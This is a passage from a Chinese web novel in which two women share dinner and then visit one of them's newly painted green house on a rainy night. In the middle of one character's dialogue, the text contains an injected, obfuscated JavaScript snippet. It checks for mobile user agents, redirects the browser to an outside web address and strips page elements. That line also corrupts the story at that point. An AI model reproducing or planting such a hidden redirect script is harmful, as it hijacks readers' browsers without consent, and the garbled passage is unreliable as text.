“你说的对,我也希望她家能快点装修好。” 倪杉希望林岁安的猫狗寄养幼儿园能尽快恢复营业。她看得出林岁安在经济上有些窘困,营业之后,情况马上就会好起来。 倪杉这天一直工作到晚上七点,结束了杂志拍摄,桑桑带她开车来到一座步行桥处,桥后车来车往,刚好可以拍到夜景街景。 倪杉换了一袭红裙,长卷发飞起,红唇烈焰,红宝石耳环,踩着高跟鞋配合桑桑拍了一组港风片。 桑桑有在背地里偷偷磨练摄影技巧,只为拍出最美的姐姐,倪杉看了几张她拍的照片,夸她说:“你好厉害啊,好像我的私人站姐。” “私人摄影师。” “对,私人摄影师。” 由于赶时间,她和桑桑都顾不上吃晚餐。 这组片子拍完就更晚了,倪杉原本想做高铁回榆城,桑桑执意要开车送她。 “姐,这车本来就是你的,平时你不在京市,车也一直闲置,最好还是多开多用。” “也行,我就是怕你太晚回来,太辛苦。” “我乐意。” 和倪杉相处的每一分每一秒都很开心,都是赚到,桑桑很珍惜。她永远也不会对倪杉表白,不会坦明这份感情,姐姐值得更好的恋人,那个人能为姐姐遮风挡雨,能保护她,给她所有资源和爱意。 最终站在姐姐身边的那个人是谁呢,要多优秀多努力才能配得上姐姐,她很是期待。 倪杉又在后座睡着了。椅子放下去,她在身上裹着毯子,路灯朦胧泛黄的光影映在她的脸上和身上,明明灭灭闪着光。 桑桑这次开车循环了一首别野加奈的《宝石》。 这首歌有一种毛绒绒的温柔和悲伤。 “事实上你比什么都更加美丽,如宝石一般的你。” “我们会在某处再次见面吧,如果我也能成为你的宝石的话。” 她在心里轻轻跟唱。 她是多么胆怯又卑微的人啊,她甚至都不敢把这句歌词唱出声。 倪杉回家时,林岁安已经睡了,家中不见人,只有两只狗狗出来迎接她。 桌上留了饭菜,用储物箱罩着,防着被狗偷吃。 倪杉在餐桌前坐下来,都没想着热一热,直接开吃。有的吃就已经很好了,夏天吃冷餐刚刚好。 她把脏盘子丢进洗碗机,就跑去二楼洗漱睡觉。 第二天中午,倪杉睡醒准备下楼,发现自己的行李箱已经被小孩儿拎到了二楼,放在楼梯口。这行李箱死沉,没有林岁安帮忙她确实很难办。 餐桌上的早餐依旧用用储物箱罩着,倪杉在桌子上找了半天,没找到自己要的东西。 倪杉昨晚带回家一张拍立得照片,那家杂志给她拍了十几张拍立得,她把每一张照片都按照要求签名,最后多出来一张,杂志方说是送给她的,倪杉开心地收下了。 她昨晚回家后随手放在桌上,今天早上却发现不见了。 肯定是被狗吃了。 倪杉咬着牙,对着一猪的屁股就轻轻拍了一下,整只狗duang的一震。 36. 绿房子 林岁安直到日落时分才回到倪杉家,她的家里今天完成了最后的刷漆工作,效果非常完美,符合她的预期。 之前的灰暗水泥面已消失不见,她终于有了一个淡绿色的家。 她到家的时候,倪杉正窝在沙发上抱着靠枕,喝着一杯红枣姜茶。 “哎呦,你回来啦。怎么感觉好久没见了。”倪杉放下手机,看着林岁安。 明明生活在同一个房子里,她从京市回来后和林岁安都没有碰面。林岁安和她的作息时间刚好错开,她回家时林岁安在书房休息,她睡醒时林岁安已经出门了。 倪杉一整个白天都和一猪在家,大黄不愧是林岁安的狗,狗随主人,大黄在外面一浪就是一整天,要到天黑才回来。 林岁安走近些,看看倪杉杯子里喝的东西,心下了然。 “晚上想吃什么?”她问倪杉。 “我不太舒服,吃不多,你做什么我吃什么。” 林岁安洗了手,戴着围裙进厨房,开始洗菜切菜。 “你好像田螺姑娘啊。我每天一睁眼,家里就被收拾得很干净,桌子上摆着做好的饭菜。” “今晚的菜比较清淡。” “好呀,我喜欢吃清淡的。”倪杉拉开椅子在餐桌前坐下,坐在这里离林岁安近一些,方便一起聊天。 “你什么都爱吃,一点也不挑食。你有什么特别想吃的菜都可以告诉我,我会做的话都能做给你吃。” 除了给倪杉做饭做家务,林岁安不知道怎么才能谢谢她让自己借住的恩情。 她不会把别人的好意和帮助当成理所应当的事。 “真的吗,我以前很爱吃鱼香肉丝。但是自己不会做,做出来的不好吃,所以很久没吃了。”倪杉点餐了。 “我明天做给你尝尝。” “你会做啊。” “我现学就行。” “姐姐,相比在山脚下寂寞地生活,你其实更喜欢京市热闹繁华的生活,对吧。”林岁安切着菜,突然说道。 “怎么看出来的。” “感觉到的。” 不是每个人都喜欢享受寂寞,林岁安很明显地感觉到,自己回家之后,倪杉很喜欢和自己聊天。 等吃完饭,倪杉还会和她一起在书房一边玩拼图,一边聊天。 有时也不聊天,两人在桌前面对面坐着,各自忙各自的事。 “我确实更习惯在京市的生活,这里有点无聊。” “在京市,我还能和桑桑去吃饭,去清吧聊聊天,窗外车水马龙很热闹,这边太安静了,无论是白天还是晚上,家里一点声音都没有。” “安静不好吗,我最喜欢安静了。”林岁安开始炒菜了。 “我还不太习惯。” 曾沐走了之后,京市其实也很寂寞,整个世界都很寂寞。 世界上独居的人有很多,哪怕是曾沐还在的时候,倪杉和曾沐也是住在不同的公寓里独自生活。 当时也很寂寞,可那种踏实无聊的寂寞和曾沐不在了之后的那种空虚无助的寂寞完全不同。 曾沐当初也是因为寂寞才去犬舍选了一只小狗,阴差阳错,这只小狗现在却成了倪杉的大狗。 夜晚开始下雨,大黄赶在雨下大之前急匆匆赶回家,卧在门口的垫子上休息。 雨声响亮,倪杉起身去关了窗户,或许是因为家里太安静,显得雨声格外大。 “大黄回来了。”倪杉给大黄拿了毛巾,帮它擦擦身上的雨水,又给大黄在碗里添了些狗粮。 一猪一听到放饭,也叼着自己的碗摇着尾巴跑了过来,却听到倪杉说:“不可以,你已经吃过了。” 倪杉回到餐桌前,和林岁安面对面坐下,两人一起吃晚餐。 林岁安今晚做的菜很清淡很养生,倪杉一边吃一边夸。 “这个炒青菜好好吃,有点甜。” “这个青笋也好吃,咸淡刚刚好。” “对了,你家装修到哪一步了?” “刷完漆了。” “全屋都刷了?” 林岁安点点头。 等铺完地板,再让房子通风换气一段时间,她就要回家住了。 “我能不能去你家看看?”倪杉问道,“我想知道淡绿色的房子是什么样的。” 这个时间,装修工人都走了。 林岁安点点头,算是答应了。 讲真,她家现在还是很拿得出手的。虽然没铺地板,但和以前相比显得很有艺术气息。 等明年她攒够了钱,就再给家里添置一些家具,这好日子也是让她过上了。 晚上十一点,雨下得小了些,林岁安和倪杉打着伞,一起往对面的房子走去。 倪杉家里只有一把伞,还好只有几步路,林岁安撑着伞,倪杉怕自己被淋湿,整个人几乎依偎在林岁安的怀里。 两人都穿着拖鞋睡衣,洗好澡后披散着头发,倪杉一直挽着林岁安的手,两人手臂相碰,林岁安很顺从地任由姐姐挽着自己,没有躲避。 两人穿过小院的步道,走进门,林岁安开了灯,倪杉发出一声惊呼:“哇。” 整间房子被灯光照亮,淡绿色的墙壁显得明亮清新有生机,轻柔治愈。 “这个颜色的房间搭配胡桃木色的家具一定很美。”倪杉眼前已经有画面了。 “这个楼梯到时候你一定要做成黑胡桃实木楼梯,我的天哪,绝了,每天仿佛生活在美剧里,她们那种剧不都是在独栋别墅里拍的吗,都有那样的楼梯。” 倪杉开心得在空荡的家里走来走去,林岁安在一旁看着她,环抱着手臂,嘴角带着笑意。 她觉得倪杉现在的样子很可爱。 “还有灯。我建议你在房顶安一个那种复古的柿子灯,一颗一颗圆滚滚的造型,亮起来很漂亮。” “你本身是要搭配复古款式的家具,对吧?但其实田园风的家具也很漂亮,很适合你家的氛围。” “我不知道,我还没想到那一步。”林岁安摊手,家里连个坐的地方也没有,倪杉看完了客厅,往二楼走去。 二楼最特别的还是浴室,浴室墙壁用了淡淡的清蓝色瓷砖,倪杉都想把这个浴室和自己家的浴室做交换。 可惜不行,那不是她的房子,她只是个租客。 “我忽然顿悟了。”倪杉对林岁安说。 “你又灵机一动发现了什么?”林岁安关掉了浴室灯,一点电也不愿浪费。 “我发现买房挺好的,住在完全按照自己的心意装修好的房子里,其实很幸福。” 倪杉一边感慨,一边小心翼翼地扶着墙往楼下走去。 林岁安跟在她身后,莫名觉得姐姐其实更像小女孩。 倪杉回过头对林岁安说:“怎么办,我感觉这简直就是我的梦中情家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302038|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 短短几分钟,她已经想好要在每个房间布置什么样的家具了。 “你有没有看过那个电影,callmebyyourname,我感觉你的房子和那个电影的氛围简直一模一样。” 倪杉只顾着回头和林岁安说话,林岁安怕她再像第一次来家里时那样摔下去,下意识伸手托住她的腰。 “你干嘛?”你干嘛抱我? “我怕你掉下去。”林岁安故意让自己的声音听上去有点凶。 “我不会的。”倪杉能感受到小孩儿手掌的温度,下雨天很凉快,小孩儿的体温却很温暖,落在腰上、小腹上很舒服。 这样的姿势让她的脚步都放慢了。 小孩儿的呼吸落在她的后颈,让她不由得身体一酥。 “你还记得你第一次来我家吗,当时就是从这个楼梯滚下去了。”林岁安没松手,就这么搂抱着倪杉慢悠悠地走下了楼,直到安全抵达一楼。 “我不记得,我当时好像晕了。” “当时我开车把你送去医院,人家问我你叫什么,我在你包里翻到的证件,说我不认识你。” “你怎么随便翻我东西呢。”倪杉现在开始翻脸不认人。 “你……那种情况你该庆幸,翻你东西的人是我,好吗。” 要是别人,早就拿着你的手机和包趁机跑路了。 “唉。”倪杉忽然叹气。 “怎么了?” “铺地板很快的,等这里装修好了,你马上就要搬回来了。” “是啊,我等这一天好久了。”小狗幼儿园就要重新开业了,倪杉摩拳擦掌打算大干一场。 这么久不开业,她心里很是着急。 “等你走了,我又是一个人了。” “不会。你不是一个人,你还有一只狗。” 你不是一个人,你是一条狗。 “讨厌。” “你随时都可以带一猪来我家玩啊,你之前给我的螺蛳粉还在柜子里呢,咱俩到时候一起在小院里煮了吃。” “为什么不在家里吃。” “正如你看到的那样,我的家现如今已经今非昔比了,我不允许有人在我家吃臭臭的东西,哪怕是我自己也不可以。” “哈哈哈哈哈哈哈,原来你知道啊。”原来你知道我怕把自己的家弄臭,所以才特意来你家吃。 林岁安用一副看傻子的表情看着倪杉,倪杉还在笑,笑弯了腰,笑得蹲在地上。 ………有这么好笑吗。 “那我们回去吧。” 林岁安从地上拿起伞,伞一直保持着撑开的状态晾在地上。 “哎,等一等,我给你拍张照片吧。”倪杉拉住她的手臂晃了晃,雨伞在林岁安手里抖落几滴水珠。 “为什么。” “记录一下这个没装家具的房子,然后等彻底装修好之后,再拍一张照片做对比,就能看出你花了多少心思。” 我不喜欢拍照。 林岁安在心里说,然而,她却乖乖按照倪杉的指挥,站在了楼梯边上。 “对对,就这个姿势,看我。” 林岁安直视镜头,眼神平静而淡漠,毫无惧色,气质干净得像一潭清水。倪杉盯着这张照片看了一会儿,在心里默默感慨: 年轻就是好啊,哪怕穿着睡衣素颜站在这样的灯下,随便一拍都很漂亮。